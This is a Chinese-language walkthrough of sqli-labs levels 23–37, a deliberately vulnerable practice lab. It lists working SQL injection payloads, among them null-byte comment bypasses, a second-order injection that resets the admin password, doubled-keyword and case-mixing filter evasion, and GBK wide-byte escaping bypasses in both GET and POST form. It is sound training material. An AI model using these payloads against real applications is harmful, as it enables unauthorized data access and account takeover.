第九篇 sqli-lab实战练习(Less23-Less37)
2022/4/4 19:20:33
本文主要是介绍第九篇 sqli-lab实战练习(Less23-Less37),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
Less-23 基于错误去除注释
- 目标
1. 学会使用;%00注入绕过
;%00: 分号之前的语句会被执行,%00是空格,可以绕过检测
输入:http://www.sqllabs.com:7080/Less-23/?id=1' 发现报错
在使用 # 或者 --+ 进行注入的时候,发现还是报错,分析源码,发现对这两种符号进行了替换
输入:http://www.sqllabs.com:7080/Less-23/?id=1; 页面正常的返回
获取其他数据库信息,可以参考之前的,示例:http://www.sqllabs.com:7080/Less-23/?id=-1' union select 1, 2,database();%00 获取当前的数据库
Less-24 二阶注入
- 目标
1. 了解二阶注入 2. 使用二阶注入修改admin用户密码
二阶注入
指的是无法直接注入,指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入 与普通注入的区别 普通注入: 1)在http后面构造语句,是立即直接生效的 2)可以通过工具快速扫描到 二阶注入: 1)第一次需要构造恶意语句,存入数据库 2)第二次http请求通过对数据库里恶意的语句进行检索,来构造SQL语句 3)很难通过工具扫描到
在登陆成功之后,发现进入了重置密码的页面
我们注册新的用户,username=admin'#,password=123456
因为在进行重新密码的时候,username=admin'# 后面的语句都被注释,导致我们可以直接修改原来admin的密码,操作成功之后,就可以使用自己设置的密码登陆admin账户了
Less-25 基于错误的双写or&and
- 目标
学会使用 or&and 的过滤注入
- or的绕过
在输入:http://www.sqllabs.com:7080/Less-25/?id=1' order by 3 --+
发现order变成了der,说明or被替换了,通过双写or,成功注入:http://www.sqllabs.com:7080/Less-25/?id=1' oorrder by 3 --+
- and的绕过
输入:http://www.sqllabs.com:7080/Less-25/?id=1' and UpdateXml(1,concat(1,database(),1),1) --+ ,从报错信息来看,发现and已经被过滤了
所以需要对and进行一定的改造:http://www.sqllabs.com:7080/Less-25/?id=1' anandd UpdateXml(1,concat(1,database(),1),1) --+,成功的获取数据库信息
对于or&and的绕过,还可以使用符号的方式: || 和 &&, GET请求需要进行URL编码,比如:http://www.sqllabs.com:7080/Less-25/?id=1' %26%26 UpdateXml(1,concat(1,database(),1),1) --+
Less-26 基于错误的去除空格和注释
- 目标
学会对常用url编码符号的注入
常用的URL编码
%09 TAB 键(水平) %0a 新建一行 %0b TAB 键(垂直) %0c 新的一页 %0d return 功能 %a0 空格
输入:http://www.sqllabs.com:7080/Less-26/?id=1' 报错,说明单引号注入
输入:http://www.sqllabs.com:7080/Less-26/?id=1' order by 3
说明对常用的注入进行了替换,比如:or、空格等
输入:http://www.sqllabs.com:7080/Less-26/?id=1' oorrder %a0 by %a0 3 --+ 或者使用 注释符 # 都发生了报错,说明也对常见的注释符进行了替换
可以查看一下源码,确实都做了替换
输入:http://www.sqllabs.com:7080/Less-26/?id=1' oorrder %a0 by %a0 3 ;%00 发现正常返回了
获取数据库库名:http://www.sqllabs.com:7080/Less-26/?id=0'union %a0 select %a0 1,2,database() ;%00
Less-26a 基于盲注空格/注释/单引号/小括号
和 Less-26一样,注释符和空格都被替换了
输入:http://www.sqllabs.com:7080/Less-26a/?id=1' 页面没有正常返回,说明存在单引号注入
输入:http://www.sqllabs.com:7080/Less-26a/?id=1' ;%00 页面也没有正常返回,尝试添加括号:http://www.sqllabs.com:7080/Less-26a/?id=1') ;%00, 这是页面正常返回了
其他都和Less-26一样了
Less-27 基于错误的UNION&SELECT字符串单引号
- 目标
使用大小写绕过
输入:http://www.sqllabs.com:7080/Less-27/?id=1' union select 1,2,database()
发现union和select都被替换了,同时空格、注释符也被替换了
尝试使用大小写组合来绕过:http://www.sqllabs.com:7080/Less-27/?id=0' UnioN %a0 SelecT %a01,2,database() ;%00
Less-27a & Less-28
和Less27差不多
Less-27a 将 Less-27的单引号改为双引号
Less-28 将Less-27的单引号改为 ')
Less-29 基于错误WAF注入
直接注入,示例:http://www.sqllabs.com:7080/Less-29/?id=0' union select 1,2,database() --+
Less-30 基于盲注WAF注入
直接注入:http://www.sqllabs.com:7080/Less-30/?id=0" union select 1,2,database() --+
Less-31 基于盲注WAF注入
不知道是不是安装版本的问题,发现这两个题目是一样的
直接注入:http://www.sqllabs.com:7080/Less-31/?id=0") union select 1,2,database() --+
Less-32 危险字符\宽字节注入
- 目标
学习宽字节注入
宽字节是相对ascii单字节而言的,比如GBK,一个GBK编码汉子,占用两个字节
输入:http://www.sqllabs.com:7080/Less-32/?id=1' 发现被添加了反斜杠,改为"也一样
尝试宽字节注入:%df%27
输入:http://www.sqllabs.com:7080/Less-32/?id=0%df%27 union select 1,2,database() --+
Less-33 addslashes函数宽字节注入
addslashes():对输入字符串中的某些预定义字符前添加反斜杠
和Less-32一样,输入示例:
http://www.sqllabs.com:7080/Less-33/?id=-1%df%27 union select 1,2,database() --+
Less-34 POST-addslashes函数宽字节注入
在GET提交参数的时候,会进行urlencode,那么在进行POST请求的时候,就需要进行编码转换,比如%df 转为utf-16: �,要不然注入的时候会报错误
获取列数,输入:
uname=admin&passwd=123456 �' order by 3#
会发生报错,说明只存在两列
获取数据库名
uname=admin&passwd=123456 �' union select 1, database()#
Less-35 整型绕过addslashes()
在输入:http://www.sqllabs.com:7080/Less-35/?id=1', 发现自动带上了\
在输入:http://www.sqllabs.com:7080/Less-35/?id=0 or 1=1
发现正常返回,说明是整型的宽子节注入
输入:http://www.sqllabs.com:7080/Less-35/?id=0 union select 1, 2, database() #, 能正确获取到数据库的信息
Less-36 GET-绕过MYSQL_real_escape_string注入
- 目标
了解mysql_real_escape_string
mysql_real_escape_string转义SQL语句中的特殊字符,受影响的字符有:
\x00 \n \r \ ' " \x1
说明在注入的时候,不能仅仅只是通过',"等着来进行注入,但是我们仍然可以采用宽字节注入的方式
输入:
http://www.sqllabs.com:7080/Less-36/?id=-1%df%27 union select 1,2,database() --+
获取到数据库信息
Less-37 POST-绕过MYSQL_real_escape_string注入
和Less-34一样,也是需要对宽字节进行一下转码
输入:
uname=admin&passwd=1�' union select 1, database()#
这篇关于第九篇 sqli-lab实战练习(Less23-Less37)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-26JavaScript入门教程:从零开始学习JavaScript编程
- 2024-12-26JavaScript入门教程:从零开始学习JavaScript
- 2024-12-26JS编程入门指南:从零开始学习JavaScript
- 2024-12-25Java编程面试题详解与解答
- 2024-12-25TS基础知识详解:初学者必看教程
- 2024-12-252024面试题解析与攻略:从零开始的面试准备指南
- 2024-12-25数据结构与算法学习:新手入门教程
- 2024-12-25初学者必备:订单系统资料详解与实操教程
- 2024-12-24内网穿透资料入门教程
- 2024-12-24微服务资料入门指南